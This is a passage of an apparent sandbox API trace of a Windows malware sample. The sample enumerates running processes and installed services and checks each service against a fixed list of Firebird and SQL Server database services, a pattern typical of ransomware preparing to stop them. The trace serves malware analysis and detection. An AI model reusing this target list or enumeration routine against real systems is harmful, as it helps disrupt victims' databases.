th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.285] lstrlenW (lpString="svchost.exe") returned 11 [0068.285] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0068.286] lstrlenW (lpString="audiodg.exe") returned 11 [0068.286] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0068.287] lstrlenW (lpString="sihost.exe") returned 10 [0068.287] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.287] lstrlenW (lpString="svchost.exe") returned 11 [0068.287] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0068.288] lstrlenW (lpString="taskhostw.exe") returned 13 [0068.288] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0068.289] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0068.289] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0068.289] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0068.290] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0068.290] lstrlenW (lpString="explorer.exe") returned 12 [0068.290] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0068.291] lstrlenW (lpString="Memory Compression") returned 18 [0068.291] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0068.291] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0068.291] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0068.292] lstrlenW (lpString="SearchUI.exe") returned 12 [0068.292] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0068.293] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0068.293] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.293] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.293] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0068.295] lstrlenW (lpString="taskhostw.exe") returned 13 [0068.295] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0068.295] lstrlenW (lpString="UsoClient.exe") returned 13 [0068.295] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0068.296] lstrlenW (lpString="taskhostw.exe") returned 13 [0068.296] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0068.297] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0068.297] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0068.297] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0068.297] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0068.298] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0068.298] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0068.299] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0068.299] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0068.299] lstrlenW (lpString="arcobviously.exe") returned 16 [0068.299] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0068.300] lstrlenW (lpString="preston disciplines.exe") returned 23 [0068.300] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0068.301] lstrlenW (lpString="boss.exe") returned 8 [0068.301] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0068.301] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0068.301] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0068.302] lstrlenW (lpString="placing.exe") returned 11 [0068.302] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0068.303] lstrlenW (lpString="heroes.exe") returned 10 [0068.303] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0068.303] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0068.303] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0068.304] lstrlenW (lpString="requirement moments.exe") returned 23 [0068.304] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0068.305] lstrlenW (lpString="sugar.exe") returned 9 [0068.305] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0068.305] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0068.305] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0068.306] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0068.306] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0068.307] lstrlenW (lpString="genealogy.exe") returned 13 [0068.307] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0068.307] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0068.307] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0068.308] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0068.308] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0068.309] lstrlenW (lpString="expenditure.exe") returned 15 [0068.309] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0068.311] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0068.311] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0068.311] lstrlenW (lpString="upgrading.exe") returned 13 [0068.311] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0068.312] lstrlenW (lpString="conservative.exe") returned 16 [0068.312] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0068.313] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0068.313] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0068.314] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0068.314] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0068.314] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0068.315] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0068.315] lstrlenW (lpString="gods violations duke.exe") returned 24 [0068.315] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0068.316] lstrlenW (lpString="dllhost.exe") returned 11 [0068.316] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.317] lstrlenW (lpString="conhost.exe") returned 11 [0068.317] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.317] lstrlenW (lpString="conhost.exe") returned 11 [0068.318] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0068.318] lstrlenW (lpString="payload.exe") returned 11 [0068.318] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0068.319] lstrlenW (lpString="cmd.exe") returned 7 [0068.319] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.320] lstrlenW (lpString="conhost.exe") returned 11 [0068.320] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0068.320] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0068.320] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.321] lstrlenW (lpString="conhost.exe") returned 11 [0068.321] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.322] lstrlenW (lpString="svchost.exe") returned 11 [0068.322] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0068.323] lstrlenW (lpString="mode.com") returned 8 [0068.323] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0068.323] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0068.323] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.324] lstrlenW (lpString="svchost.exe") returned 11 [0068.324] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0068.325] CloseHandle (hObject=0x328) returned 1 [0068.325] Sleep (dwMilliseconds=0x1f4) [0068.957] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cee08 [0068.957] EnumServicesStatusExW (in: hSCManager=0x6cee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0068.958] GetLastError () returned 0xea [0068.958] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x3d01278 [0068.958] EnumServicesStatusExW (in: hSCManager=0x6cee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d01278, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d01278, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0068.958] CloseServiceHandle (hSCObject=0x6cee08) returned 1 [0068.959] lstrlenW (lpString="Appinfo") returned 7 [0068.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0068.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0068.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0068.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0068.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0068.959] lstrlenW (lpString="AppXSvc") returned 7 [0068.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0068.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0068.959] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0068.959] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0068.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0068.959] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0068.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.959] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0068.959] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0068.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0068.959] lstrlenW (lpString="Audiosrv") returned 8 [0068.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0068.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0068.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0068.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0068.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0068.959] lstrlenW (lpString="BFE") returned 3 [0068.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0068.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0068.959] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0068.959] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0068.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0068.959] lstrlenW (lpString="BITS") returned 4 [0068.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0068.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0068.959] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0068.960] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0068.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0068.960] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0068.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0068.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0068.960] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0068.960] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0068.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0068.960] lstrlenW (lpString="CDPSvc") returned 6 [0068.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0068.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0068.960] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0068.960] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0068.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0068.960] lstrlenW (lpString="ClickToRunSvc") returned 13 [0068.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0068.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0068.960] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0068.960] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0068.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0068.960] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0068.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0068.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0068.960] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0068.960] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0068.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") 